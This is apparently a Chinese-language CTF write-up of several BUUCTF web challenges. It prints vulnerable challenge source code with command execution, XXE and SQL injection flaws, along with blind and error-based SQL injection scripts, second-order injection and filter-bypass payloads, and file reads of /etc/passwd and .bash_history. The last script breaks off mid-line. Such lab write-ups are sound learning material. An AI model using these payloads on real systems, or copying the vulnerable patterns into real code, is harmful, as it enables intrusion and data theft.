4月做题 happyctfd 刚开始看这个非常怕…后来谷歌了一下ctfd的cve直接打穿,这题就是弟弟
https://copyfuture.com/blogs-details/20200305225221297r8myv7xpvv0lqr0
登陆后台后把数据导出就拿到flag了
flag{1b236e8e-8f64-461d-a973-7059e706aeec}
finalsql 有两处注入点
第一处:
/search.php?id=1
黑名单:hex,if, ,and
payload:/search.php?id=1/(((select(ord(substr(group_concat(table_name),20,1)))from(information_schema.tables)where(table_schema=database()))-31)>0)
盲注脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import requestsimport timedef findByDichotomy (begin,end ): max_num=end while True : mid=int ((begin+end)/2 ) if begin==max_num: return False if begin==end: return begin if end-begin==1 : if bigger(begin): return end else : return begin if bigger(mid): begin=mid+1 else : end=mid def bigger (num ): return sqlinj(num) def less (num ): pass def equal (num ): pass def sqlinj (num ): burp0_url = "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn:80/search.php?id=1/(((select(ord(substr(group_concat(username,',',password),POS,1)))from(F1naI1y))-GUESS)>0)" .replace("GUESS" ,str (num)).replace("POS" ,str (pos)) burp0_headers = {"Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://ff83c0e6-205f-4296-a512-fe2919cdeda4.node3.buuoj.cn/" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } res=requests.get(burp0_url, headers=burp0_headers) time.sleep(0.5 ) print ("test " ,num) if "NO! Not this! Click others~~~" in res.text: return True else : return False result="mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site" pos=len (result)+1 while True : num=findByDichotomy(32 ,128 ) if num is False : print (result) break result+=chr (num) print (result) pos+=1
数据库:information_schema,test,performance_schema,mysql,geek
1 2 3 4 5 6 7 F1naI1y,Flaaaaag Flaaaaag:id,fl4gaws F1naI1y:id,username,password mygod,cl4y_is_really_amazing,welcome,welcome_to_my_blog,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,site,http://www.cl4y.top,Syc,welcom_to_Syclover,finally,cl4y_really_need_a_grilfriend,flag,flag{2e7c980e-7fff-443b-8d1a-1371eaa326ba}
测试后第二次发现不如第一处好用,就不写了
checkin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from flask import Flask, requestimport osapp = Flask(__name__) flag_file = open ("flag.txt" , "r" ) @app.route('/shell' ) def shell (): os.system("rm -f flag.txt" ) exec_cmd = request.args.get('c' ) os.system(exec_cmd) return "1" @app.route('/' ) def source (): return open ("app.py" ,"r" ).read() if __name__ == "__main__" : app.run(host='0.0.0.0' )
去fd找flag
flag{7410ef7f-b10e-4da4-9beb-29f304fec028}
so easy
blanklist 堆叠注入,handle代替select
flag{dad3eb12-8877-4ea8-8bfe-98ac99a93715}
枯燥的抽奖 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION ['seed' ])){$_SESSION ['seed' ]=rand(0 ,999999999 );} mt_srand($_SESSION ['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;$str ='' ;$len1 =20 ;for ( $i = 0 ; $i < $len1 ; $i ++ ){ $str .=substr($str_long1 , mt_rand(0 , strlen($str_long1 ) - 1 ), 1 ); } $str_show = substr($str , 0 , 10 );echo "<p id='p1'>" .$str_show ."</p>" ;if (isset ($_POST ['num' ])){ if ($_POST ['num' ]===$str ){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
用php_mt_rand来爆破
flag{1c171630-aee4-400c-b629-a9e457cbe15e}
一定要去https://www.openwall.com/php_mt_seed/
下载,不要去github的镜像下载,把我坑死了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include "mysql.php" ;session_start(); if ($_SESSION ['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); } if (isset ($_GET ['do' ])){switch ($_GET ['do' ]){ case 'write' : $category = addslashes($_POST ['category' ]); $title = addslashes($_POST ['title' ]); $content = addslashes($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query($sql ); header("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query($sql ); $num = mysql_num_rows($result ); if ($num >0 ){ $category = mysql_fetch_array($result )['category' ]; $content = addslashes($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query($sql ); } header("Location: ./comment.php?id=$bo_id " ); break ; default : header("Location: ./index.php" ); } } else { header("Location: ./index.php" ); } ?>
需要登陆才能留言
爆破可知: zhangwei / zhangwei666 (我吐了爆破半天没出来还是谷歌的,谁知道后面是全数字)
代码审计发现经典的二次注入啊
因为没有报错所以不知道自己的语句是否正确就调了很久
令catagory='\\'
,
1 2 3 content=%2Ccontent%3D0x6464646464%2Cbo_id%3D1%2F*&bo_id=1*/%23 content=%2Ccontent%3D(SELECT+group_concat(schema_name)+FROM+information_schema.schemata)%2Cbo_id%3D1%2F*&bo_id=1*/%23
去把数据库dump下来后发现没啥东西
接着去试试读取文件
发现可以读取文件
读取/etc/passwd得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash
发现只有一个可以登陆的用户:www
查看他的.bash_history
1 2 3 4 5 6 7 cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
发现他要删除.DS_Store
防止我们知道目录结构,但是/tmp
目录是没有这个文件的,也就是所/tmp/www
下有.DS_Store
文件,拿到文件解析后得到flag文件名
1 2 3 4 5 6 7 8 9 10 11 bootstrap comment.php css flag_8946e1ff1ee3e40f.php fonts index.php js login.php mysql.php vendor write_do.php
fakexml 存在xxe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $USERNAME = 'admin' ; $PASSWORD = '024b87931a03f738fff6693ce0a78c88' ; $result = null ;libxml_disable_entity_loader(false ); $xmlfile = file_get_contents('php://input' );try { $dom = new DOMDocument(); $dom ->loadXML($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom ); $username = $creds ->username; $password = $creds ->password; if ($username == $USERNAME && $password == $PASSWORD ){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,1 ,$username ); }else { $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,0 ,$username ); } }catch (Exception $e ){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>" ,3 ,$e ->getMessage()); } header('Content-Type: text/html; charset=utf-8' ); echo $result ;?>
直接读取/flag得到flag:flag{663e8e72-be03-4533-a4cd-c44452942287}
rce_me 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting(0 ); if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (strlen($code )>40 ){ die ("This is too Long." ); } if (preg_match("/[A-Za-z0-9]+/" ,$code )){ die ("NO." ); } @eval ($code ); } else { highlight_file(__FILE__ ); }
代码很简单,但是限制有点麻烦,我们利用~
来绕过不允许字母和数字的限制
因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
所以不能直接(~"eval的~")("xxxxx")
,都没总结这些命令,导致我过了很久才想起assert
disable_function:
1 pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
要读取flag必须命令执行,但是根据phpinfo,他禁用了system,exec等等用https://github.com/mm0r1
这个大佬的脚本来绕过
flag{c7e5be35-729b-4bd0-aacd-c7a1eb98ddea}
RCEService 允许的字符: ,:,a-z,{,}
黑名单:pwd,echo
刚开始以为是假的命令执行,看到报错后发现这是真的
1 Warning</b>: system() expects parameter 1 to be string , array given in <b>/var /www/html/index.php
那先想办法读取index.php,测试后发现是用$_REQUEST
来接受数据
后来实在没想法就去百度了,看到的wp都是清一色的直接给源码?????您们源码哪来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php putenv('PATH=/home/rceservice/jail' ); if (isset ($_REQUEST ['cmd' ])) { $json = $_REQUEST ['cmd' ]; if (!is_string($json )) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json )) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode($json , true )['cmd' ]; if ($cmd !== NULL ) { system($cmd ); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
用换行来绕过preg_match或者输入足够长的字符来绕过preg的回溯次数
CyberPunk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php ini_set('open_basedir' , '/var/www/html/' ); $file = (isset ($_GET ['file' ]) ? $_GET ['file' ] : null );if (isset ($file )){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file )) { echo ('no way!' ); exit ; } @include ($file ); } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>index</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <h2 >2077发售了,不来份实体典藏版吗?</h2 > <img class ="logo " src ="./assets /img /logo -en .png "><!--LOGOLOGOLOGOLOGO --> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <h3 >提交订单</h3 > <form role ="form " action ="./confirm .php " method ="post " enctype ="application /x -www -urlencoded "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">我正是送钱之人</button > </form > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html > <!--?file =?-->
search.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php require_once "config.php" ; if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match($pattern ,$user_name ) || preg_match($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc(); if (!$row ) { echo 'error' ; print_r($db ->error); exit ; } $msg = "<p>姓名:" .$row ['user_name' ]."</p><p>, 电话:" .$row ['phone' ]."</p><p>, 地址:" .$row ['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>搜索</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >订单查询</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">查询订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match($pattern ,$user_name ) || preg_match($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc(); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query($sql ); if (!$result ) { echo 'error' ; print_r($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>修改收货地址</title> <base href="./" > <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >修改收货地址</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> <h3 >地址:</h3 > <input type ="text " class ="subscribe -input " name ="address "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">修改订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match($pattern ,$user_name ) || preg_match($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc(); $result = $db ->query('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8" > <title>删除订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <p style ="margin :35px 0;"><br ></p > <h1 >删除订单</h1 > <form method ="post "> <p > <h3 >姓名:</h3 > <input type ="text " class ="subscribe -input " name ="user_name "> <h3 >电话:</h3 > <input type ="text " class ="subscribe -input " name ="phone "> </p > <p > <button class ='btn btn -lg btn -sub btn -white ' type ="submit ">删除订单</button > </p > </form > <?php global $msg ; echo '<h2 class ="mb " style ="color :#ffffff ;">'.$msg .'</h2 >';?> </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <h2 class ="mb ">订单管理</h2 > <a href ="./index .php "> <button class ='btn btn -lg btn -register btn -sub btn -white '>返回</button > </a > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
confirm.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = $_POST ["address" ]; $phone = $_POST ["phone" ]; if (preg_match($pattern ,$user_name ) || preg_match($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query($sql ); } if ($fetch ->num_rows>0 ) { $msg = $user_name ."已提交订单" ; }else { $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)" ; $re = $db ->prepare($sql ); $re ->bind_param("sss" , $user_name , $address , $phone ); $re = $re ->execute(); if (!$re ) { echo 'error' ; print_r($db ->error); exit ; } $msg = "订单提交成功" ; } } else { $msg = "信息不全" ; } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="utf-8" > <title>确认订单</title> <base href="./" > <meta charset="utf-8" /> <link href="assets/css/bootstrap.css" rel="stylesheet" > <link href="assets/css/custom-animations.css" rel="stylesheet" > <link href="assets/css/style.css" rel="stylesheet" > </head> <body> <div id="h" > <div class ="container "> <img class ="logo " src ="./assets /img /logo -zh .png "> <div class ="row "> <div class ="col -md -8 col -md -offset -2 centered "> <?php global $msg ; echo '<h2 class ="mb ">'.$msg .'</h2 >';?> <a href ="./index .php "> <button class ='btn btn -lg btn -sub btn -white '>返回</button > </a > </div > </div > </div > </div > <div id ="f "> <div class ="container "> <div class ="row "> <p style ="margin :35px 0;"><br ></p > <h2 class ="mb ">订单管理</h2 > <a href ="./search .php "> <button class ="btn btn -lg btn -register btn -white " >我要查订单</button > </a > <a href ="./change .php "> <button class ="btn btn -lg btn -register btn -white " >我要修改收货地址</button > </a > <a href ="./delete .php "> <button class ="btn btn -lg btn -register btn -white " >我不想要了</button > </a > </div > </div > </div > <script src ="assets /js /jquery .min .js "></script > <script src ="assets /js /bootstrap .min .js "></script > <script src ="assets /js /retina -1.1.0.js "></script > <script src ="assets /js /jquery .unveilEffects .js "></script > </body > </html >
阅读代码发现,search处有sql注入,但是有以下限制:'/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
change处有明显的二次注入,无限制,但是是update
1 "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
我们利用报错注入来获取回显
1 2 3 4 5 6 7 information_schema,test,performance_schema,ctftraining,mysql,ctfusers ctftraining:FLAG_TABLE,news,users FLAG_TABLE:FLAG_COLUMN users:id,username,password,ip,time news:id,title,content,time ctfusers:user user:user_id,address,old_address,user_name,phone
1 2 3 4 1dogThe domestic dog (Canis lupus familiaris when considered a subspecies of the wolf or Canis familiaris when considered a distinct species)[4] is a member of the genus Canis (canines), which forms part of the wolf-like canids,[5] and is the most widely abundant terrestrial carnivore.1571838684,2catThe cat or domestic cat (Felis catus) is a small carnivorous mammal.[1][2] It is the only domesticated species in the family Felidae.[4] The cat is either a house cat, kept as a pet, or a feral cat, freely ranging and avoiding human contact.1571838684,3birdBirds, also known as Aves, are a group of endothermic vertebrates, characterised by feathers, toothless beaked jaws, the laying of hard-shelled eggs, a high metabolic rate, a four-chambered heart, and a strong yet lightweight skeleton.1571838684,4flagFlag is in the database but not here.1571838684 1,admin,21232f297a57a5a743894a0e4a801fc3,127.0.0.1,1571838684,2,guest,084e0343a0486ff05530df6c705c8bb4,127.0.0.1,1571838684,3,virink,a4346e75cc1dd161a8d57f3b2d5d82d0,127.0.0.1,1571838684
/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
艹,最后百度下发现flag再flag.txt里面
flag{c90595fb-9a36-4257-ba55-9181d7584edc}
附上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport randomimport reimport timedef sql_inj (sql ): num=random.randint(0 ,9999999999 ) result="" count=1 while True : burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/confirm.php" burp0_headers = {"Cache-Control" : "max-age=0" , "Origin" : "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn" , "Upgrade-Insecure-Requests" : "1" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Referer" : "http://9f5e00e9-1ee3-46ec-bc40-5d37fcbb00a2.node3.buuoj.cn/" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7" , "Connection" : "close" } burp0_data = {"user_name" : num, "phone" : num, "address" : "'+(updatexml(1,concat(0x7e,substr(({sql}),{count},30),0x7e),1))#" .format (sql=sql,count=count)} res=requests.post(burp0_url, headers=burp0_headers, data=burp0_data) burp0_url = "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn/change.php" burp0_headers = {"Cache-Control" : "max-age=0" , "Origin" : "http://c76026d6-3667-407c-926e-dea17844c361.node3.buuoj.cn" , "Upgrade-Insecure-Requests" : "1" , "Content-Type" : "application/x-www-form-urlencoded" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 